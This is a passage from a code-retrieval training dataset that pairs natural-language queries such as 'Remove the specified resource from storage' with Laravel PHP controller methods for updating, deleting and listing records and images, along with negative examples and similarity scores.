if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Return list of assets.
public function index(Request $request) { $user = Auth::user(); if (!$user->can('asset-read')) { return response()->json(['error' => 'Unauthorised'], $this->unauthorized); } $type = $request->query('type'); $assets = Asset::where('type_id', $type) ->with('country') ->with('sector') ->with('trading_block') ->with('type') ->paginate(5); return response()->json(['success' => 'ok', 'paginator' => $assets], $this->sucessStatus); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
